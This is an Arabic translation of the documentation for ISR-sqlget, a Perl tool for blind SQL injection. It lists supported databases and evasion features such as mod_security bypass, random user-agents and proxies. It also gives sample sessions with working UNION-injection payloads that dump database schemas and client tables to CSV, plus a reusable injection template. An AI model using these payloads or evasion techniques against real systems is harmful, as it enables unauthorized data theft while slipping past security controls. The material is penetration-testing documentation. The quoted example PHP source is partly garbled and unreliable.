
ISR-sqlget هي أداة حقن SQL أعمى مطوّرة بلغة Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: الوصف
ISR-sqlget: أداة حقن SQL العمياء (Blind SQL Injection) مطوّرة بلغة Perl. تتيح لك الحصول على مخططات قواعد البيانات وصفوف الجداول. باستخدام GET/POST واحدة يمكنك الوصول بهدوء إلى بنية قاعدة البيانات وباستخدام GET/POST واحدة يمكنك تفريغ كل صف من صفوف الجداول إلى ملف بصيغة تشبه CSV.
قواعد البيانات المدعومة:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
ميزات التهرب:
- ترميز Unicode بعرض كامل/نصف عرض
- تجاوز رجوع السطر (CR) غير القياسي في Apache
- تجاوز mod_security
- تحويل عشوائي لأحرف الطلب إلى أحرف كبيرة
- PHP Magicquotes: ترميز كل سلسلة باستخدام دالة CHR لقاعدة البيانات أو ما يشابهها.
- تحويل الطلبات إلى قيم سداسية عشرية
- تجنب استبدال المسافات بـ /**/ أو بتبويب (\t)
- تجنب الربط بـ || أو + باستخدام دالة concat لقاعدة البيانات أو ما يشابهها.
- User-agent عشوائي
- خادم وكيل (proxy) عشوائي
- تأخير عشوائي للطلبات
الميزات العامة:
- قائمة سوداء لتنزيل مخطط قاعدة البيانات
- دعم مصفوفة الكوكيز
- دعم SSL
- دعم خادم الوكيل
- تفريغ معلومات قاعدة البيانات بصيغة csv
التقارير:
- تمثيل بياني لبنية قاعدة البيانات لإنشاء تقارير تنفيذية مؤثرة
يتطلب مكتبة Graphviz (http://www.graphviz.org/)
..:: الاستخدام
تحتاج الأداة إلى المعلومات التالية:
الإجراءات الممكنة (ACTION) هي:
أولاً:
1. الحصول على مخطط قاعدة البيانات.
ثم:
2.a الحصول على صفوف الجداول (بصيغة csv).
2.b الحصول على المخطط البياني لقاعدة البيانات.
..::مثال:
الهدف: http://target.infobytesec.com/helloworld.php?id=
مصدر helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>اقرأ مثال الجلسة (ملف الإعداد): ./helloworld.pm
الحصول على مخطط قاعدة البيانات:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
يُنشئ هذا ملف مخطط محلي في: ./template/helloworld.dbschema
ثم احصل على صفوف الجداول:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
في الدليل "./datos/" سيكون لديك ملفان لكل جدول كما يلي:
[sessionname].[database].[table].sql.html # مصدر html [sessionname].[database].[table].csv # قيم مفصولة بفواصل
لاحظ أنه يمكن تحديد "./datos" من خلال المعامل $conf::outputdb في ملف إعداد الجلسة.
..:: متقدم
تستخدم الأداة عمودًا واحدًا فقط من نوع text/varchar/إلخ في استعلام SELECT. باستخدام جمل UNION يمكنك الحصول "في ذلك العمود" على مخطط قاعدة البيانات بالكامل باستخدام "[__]" كمحدد.
عندما تكون قد حفظت مخطط قاعدة البيانات المحلي بالفعل، ستتمكن من:
1.a الحصول على صفوف الجداول: باستخدام التقنية نفسها يمكنك الحصول على جميع صفوف كل جدول في قاعدة البيانات، أعمدة أنواع البيانات غير المتوافقة مع النص يتم تحويلها إلى نوع بيانات نصي باستخدام دوال قاعدة البيانات الخاصة.
1.b الحصول على المخطط البياني لقاعدة البيانات.
تستخدم الأداة ملف إعداد جلسة لكل إجراء. يحدد ملف الإعداد هذا المعاملات اللازمة لاستغلال ثغرة حقن SQL. يحدد المعامل @conf::path طريقة تحليل الـ HTML الخام للعمل مع الأداة.
تفاصيل المساعدة:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: Check parser module -t: Get test page -a: Get all database names (only mssql) -s: Get database/s structure/s -d: Get database/s information/s (csv format) -g: Graphic structure of database (gif format)
Options: -n: Session name -p: (Use with -c action, specify src page to check the module); Default ./template/$SESSION.testpage -v: Verbose -h: Help
-t: باستخدام ملف الجلسة تحصل على جدول بيانات نظامي صغير لاستخدامه مع الإجراء "-c" لتحليل الـ HTML الخام لاحقًا.
-c: افتراضيًا يستخدم ./template/[session-name].testpage. يُستخدم لتطوير واختبار محلل الـ HTML الخام. يمكنك اختيار ملف HTML آخر باستخدام الخيار "-p".
-a: تستخدم جميع محركات قواعد البيانات الترتيب التالي للحصول على صفوف الجداول: 1. "-s" الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي). 2. "-d" الحصول على بيانات الجداول.
بسبب الجداول النظامية في MSSQL يجب إضافة خطوة سابقة:
1. "-a" الحصول على جميع أسماء قواعد البيانات للمخطط/الكتالوج (يحفظ الأسماء في ملف محلي).
2. "-s" الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي).
3. "-d" الحصول على بيانات الجداول.
-s: الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي).
-d: الحصول على بيانات الجداول.
-g: استخدام ملف مخطط قاعدة البيانات المحلي الذي تم الحصول عليه مسبقًا للحصول على المخطط البياني لقاعدة البيانات (بصيغة gif)
-n: يحدد اسم ملف إعداد الجلسة.
..:: ملاحظات
./pmschanges.txt: نستخدم نسخة معدلة من LWP وNet::HTTP تتضمن مواصفات الطرق وقوائم CR يشرح هذا الملف التعديلات.
./dbs/isr_*: تحتوي كل وحدة من وحدات قواعد البيانات على متغير @space الذي يحدد نوع المسافة الصالحة. مثال: my @space=(' ',"\t","/**/"); #all spaces
..:: خيارات ملف الجلسة:
@conf::path #يحدد المعامل @conf::path طريقة تحليل الـ HTML الخام للعمل مع الأداة. #يستخدم كود Perl مضمّنًا مع HTML::TreeBuilder لتحليل الـ HTML الخام #الإعداد الأول هو مصفوفة شجرية بأسماء وسوم html المطلوبة. آخر اسم وسم html تتم معالجته بكود Perl.
انظر الأمثلة في ./examples/ example[n].html session[n].pm
$conf::site #الموقع الذي يوجد عليه التطبيق المعرض للثغرة
$conf::script #ملف البرنامج النصي المعرض للثغرة
$conf::method #الطريقة 'POST'، 'GET'، 'HELLO'، '\r\n\r\n\r\n\r\n\r\n' (تجاوز طريقة Apache)
$conf::inj #معاملات POST/GET مع جمل UNION #يستخدم متغيرات سيتم استبدالها لاحقًا بالمعلومات الديناميكية.
المتغيرات:
<VALUE> = العمود المستخدم للحصول على جميع المعلومات.
<TABLE> = قسم الجداول.
<WHERE> = قسم الشرط.
<TAIL> = الجزء الأخير من جملة SQL.
مثال: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";